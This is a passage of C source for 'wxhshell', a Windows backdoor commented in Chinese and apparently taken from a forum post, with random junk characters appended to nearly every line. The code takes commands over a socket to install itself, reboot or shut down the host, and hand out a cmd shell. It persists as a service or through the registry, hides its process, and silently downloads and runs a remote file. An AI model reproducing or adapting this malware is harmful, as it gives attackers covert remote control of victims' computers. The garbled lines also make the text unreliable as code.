  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VseeU;q  
  } v6+<F;G3y>  
  else { w1 tg7^(@  
&p:GB_  
    switch(cmd[0]) { N!^5<2z@eT  
  kS$m$ D  
  // 帮助 I xE }v%&  
  case '?': { iU a `<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ems0"e  
    break; 2~2j?\AEd.  
  } FK.Qj P:  
  // 安装 *p7_rY  
  case 'i': { \x+"1  
    if(Install()) ajALca4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {AMoE +U  
    else \9s x_T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -87]$ ax  
    break; @2)ImgK[  
    } ^Ts8nOGMh  
  // 卸载 2Jc9}|,  
  case 'r': { dX5|A_Ex  
    if(Uninstall()) Rz!!;<ye8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ELQc: t -2  
    else TeWpdUCO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $(eqZ<y  
    break; ?<-ins  
    } oY0`igH  
  // 显示 wxhshell 所在路径 2x dN0S  
  case 'p': { mY,t]#^m7  
    char svExeFile[MAX_PATH]; Q!"W)tD  
    strcpy(svExeFile,"\n\r"); ,7|Wf %X  
      strcat(svExeFile,ExeFile); SjB#"A5  
        send(wsh,svExeFile,strlen(svExeFile),0); ]<?7Cp P  
    break; mL[Y{t#N  
    } * IBCThj  
  // 重启 k>q}: J9V  
  case 'b': {  F5FzT^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qI#ow_lL#  
    if(Boot(REBOOT)) uV+.(sjH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %t<ba[9F  
    else { UV8K$n<  
    closesocket(wsh); W05>\Rl  
    ExitThread(0); N"rZK/@}  
    } dt|f4 XWF  
    break; >@c~M  
    } _4#&!b6  
  // 关机 y<A%&  
  case 'd': { >gLLr1L\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f6zS_y9gn  
    if(Boot(SHUTDOWN)) JW-!m8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5D%gDw+"  
    else { A%c)=(,  
    closesocket(wsh); qmM%MPv  
    ExitThread(0); wx%TQ!  
    } -C<Ni  
    break; hpOUz%  
    } "[BDa}Il  
  // 获取shell ,3E9H&@j  
  case 's': { XT0:$0F  
    CmdShell(wsh); t?:Q  
    closesocket(wsh);  V_-{TGKX  
    ExitThread(0); $(U}#[Vie  
    break; 7f\@3r  
  } A T'P=)F@  
  // 退出 zm('\KvT  
  case 'x': { K?:wX(JYT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F_&bE@k  
    CloseIt(wsh); 0[T>UEI?  
    break; WbP*kV{  
    } nfbqJ  
  // 离开 c/\$AJV.H  
  case 'q': { {IpIQ-@l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e=%6\&q  
    closesocket(wsh); T11;LSD  
    WSACleanup(); 1-bQ ( -  
    exit(1); n%YG)5;  
    break; 1_z6O!rx  
        } ;c;n.o.)/#  
  } 5pI=K/-  
  } ST[+k  
\<R.F  
  // 提示信息 _cW6H B^j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~8 w(M  
} r06M.r   
  } 0{ ;[k  
+\O[)\  
  return; Udh!%QP%[w  
} 6Y[|xu:N8Y  
WDdp(<  
// shell模块句柄 k;9"L90  
int CmdShell(SOCKET sock) 2og8VI  
{ GXE6=BO  
STARTUPINFO si; @\UoZv(  
ZeroMemory(&si,sizeof(si)); >)IXc<"wq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f YuM`O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^sjL@.'m$N  
PROCESS_INFORMATION ProcessInfo; L!]~ J?)  
char cmdline[]="cmd"; 6(X5n5C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >.-$?2  
  return 0; X;?Z_3I:5  
} 7JNy;$]/  
2m?!!We q  
// 自身启动模式 2iM8V  
int StartFromService(void) i!=2 8|_  
{ ^QKL}xiV:  
typedef struct &MlBp I  
{ <.h\%&'U  
  DWORD ExitStatus; i;Y@>-[e<  
  DWORD PebBaseAddress; -MqWcB9&  
  DWORD AffinityMask; C,!}WB@VME  
  DWORD BasePriority; E(&GZ QE  
  ULONG UniqueProcessId; G2,r %|7ta  
  ULONG InheritedFromUniqueProcessId; Ph&fOj=pFb  
}   PROCESS_BASIC_INFORMATION; Sp]i~#q_'  
n6a*|rE  
PROCNTQSIP NtQueryInformationProcess; 426)H_wx  
8zRb)B+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z{w{bf1&A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "k${5wk#Fl  
yeCR{{B/'  
  HANDLE             hProcess; <9s=K\-  
  PROCESS_BASIC_INFORMATION pbi; f 2#9E+IQ  
R "&(Ae?LR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /Lc= K<  
  if(NULL == hInst ) return 0; 4P>tGO&*x  
Uq,M\V \  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N&0MA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vd{h|=J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IFX|"3[$  
] _/d  
  if (!NtQueryInformationProcess) return 0; YW}1iT/H  
Iy}r'#N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $DfaW3bJ  
  if(!hProcess) return 0; 1x07ua@(v  
.=>T yq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P'Fy,fNg  
y%H;o?<WX  
  CloseHandle(hProcess); K+` Vn  
:);]E-ch  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #&1Y!kbdd  
if(hProcess==NULL) return 0; LaE;{jY  
%}=$HwN)  
HMODULE hMod; I~R<}volu  
char procName[255]; w jmZ`UMz  
unsigned long cbNeeded; bw7!MAXd  
%;0w2W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fxDY:l  
hG,gY;&[6  
  CloseHandle(hProcess); 2.2Z'$W  
6[9E^{(z  
if(strstr(procName,"services")) return 1; // 以服务启动 4M8AYh2)  
6Upg\(  
  return 0; // 注册表启动 wE75HE`gW  
} /s%I(iP4  
1>*]jj}  
// 主模块 Gc9^Z=  
int StartWxhshell(LPSTR lpCmdLine) ~^.&nph  
{ 6,xoxNoPP3  
  SOCKET wsl; g)'tr '  
BOOL val=TRUE; K.2M=Q  
  int port=0; S iw9_c  
  struct sockaddr_in door; r2T?LO0N{  
LoG@(g&)  
  if(wscfg.ws_autoins) Install(); Yi[dS`,d  
F_~-o,\  
port=atoi(lpCmdLine); 33kI#45s  
Yf:utCvv  
if(port<=0) port=wscfg.ws_port; O#7ldF(  
2t { Cpw  
  WSADATA data; s8|#sHT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A*pihBo7  
e>t9\vN#bx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N,ik&NIWy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  FZ>*<&  
  door.sin_family = AF_INET; vc2xAAQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yT&bS\  
  door.sin_port = htons(port); .Qh8I+Q%  
dITnPb)i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %:o@IRTRU  
closesocket(wsl); +^+wS`Y  
return 1; (W/jkm  
} 2al~`  
>V(2Ke Y  
  if(listen(wsl,2) == INVALID_SOCKET) { ke>\.|HT}  
closesocket(wsl); Gx ZQ{ \  
return 1; *vhm  
} Wsz='@XvB  
  Wxhshell(wsl); <J-OwO a-1  
  WSACleanup(); 8"LaP3U  
)O- x1U  
return 0; l``1^&K  
@\l> <R9V  
} Re1@2a>  
-e(2?Xq9  
// 以NT服务方式启动 N0RFPEQ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) , m|9L{  
{ ,.FTw,<  
DWORD   status = 0; &up/`8   
  DWORD   specificError = 0xfffffff; ;oFaDTX]  
hqD;<:.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lO $M6l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0]oQ08  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xdo{4XY^*W  
  serviceStatus.dwWin32ExitCode     = 0; )Q xv9:X  
  serviceStatus.dwServiceSpecificExitCode = 0; 0K3FH&.%  
  serviceStatus.dwCheckPoint       = 0; ($(1KE  
  serviceStatus.dwWaitHint       = 0; C6"!'6 W  
_ z4rx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nv$  
  if (hServiceStatusHandle==0) return; )Elr8XLw  
9jPb-I-   
status = GetLastError(); /#G"'U/  
  if (status!=NO_ERROR) {t/!a0\HS  
{ <M'IR f/D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9_>4~!x`  
    serviceStatus.dwCheckPoint       = 0; g[M@  
    serviceStatus.dwWaitHint       = 0; Y(SI`Xo[  
    serviceStatus.dwWin32ExitCode     = status; qk,cp},2K  
    serviceStatus.dwServiceSpecificExitCode = specificError; qfYb\b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Z8] W1)  
    return; hTG d Uw]  
  } pO+1?c43  
$g$`fR)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3+|6])Hi1  
  serviceStatus.dwCheckPoint       = 0; uBE,z>/,;  
  serviceStatus.dwWaitHint       = 0; <Ab:yD`K!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (Z"Xp{u  
} o mjLQp[%  
rFy9K4D  
// 处理NT服务事件,比如:启动、停止 Na~_=3+a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '6 'XBL?  
{ {hg$?4IyQ  
switch(fdwControl) c&Zm>Qo[  
{ g?$9~/h :;  
case SERVICE_CONTROL_STOP: }"&(sYQ*`  
  serviceStatus.dwWin32ExitCode = 0; C(0Iv[~y/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 17i^|&J6}:  
  serviceStatus.dwCheckPoint   = 0; *Yr-:s9J9  
  serviceStatus.dwWaitHint     = 0; xY'g7<})$  
  { ,xh9,EpBk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &vF"I'V  
  } kN$70N7I;  
  return; H0(zE *c~  
case SERVICE_CONTROL_PAUSE: Fp]8f&l8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -.*\J|S@g  
  break; M<p)@p  
case SERVICE_CONTROL_CONTINUE: UUU^YT \  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C95,!q  
  break; |TUpv*pq  
case SERVICE_CONTROL_INTERROGATE: Np-D:G  
  break; }[DAk~  
}; G2^DukK.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .-|O"H$  
} y*(YZzF  
>@L HJ61C  
// 标准应用程序主函数 a2 rv4d=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #`fT%'T!  
{ |@g1|OWd|  
 XGoy#h  
// 获取操作系统版本 zc1Zuco| R  
OsIsNt=GetOsVer(); 6+u'Tcb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d$TW](Bby  
~JNuy"8  
  // 从命令行安装 `?@7 KEl>  
  if(strpbrk(lpCmdLine,"iI")) Install(); jFXU xf  
Na6z,TW  
  // 下载执行文件 YiCDV(prT  
if(wscfg.ws_downexe) { $ B9=v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =@w:   
  WinExec(wscfg.ws_filenam,SW_HIDE); 0@Ijk(|  
} |d3agfS[n  
0&\Aw'21  
if(!OsIsNt) { (>K$gAQH  
// 如果时win9x,隐藏进程并且设置为注册表启动 L&N"&\K2U  
HideProc(); qC4-J)8 Wk  
StartWxhshell(lpCmdLine); 'oHR4O*  
} biG9?  
else 84[^#ke  
  if(StartFromService()) 4r. W:}4:  
  // 以服务方式启动 19.cf3Dh  
  StartServiceCtrlDispatcher(DispatchTable); $;CC lzw  
else kUUq9me&o  
  // 普通方式启动 #~x5}8  
  StartWxhshell(lpCmdLine);  * [5  
eI}VHBAz  
return 0; HIq1/)  
}
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只看该作者 1 发表于: 2006-10-10
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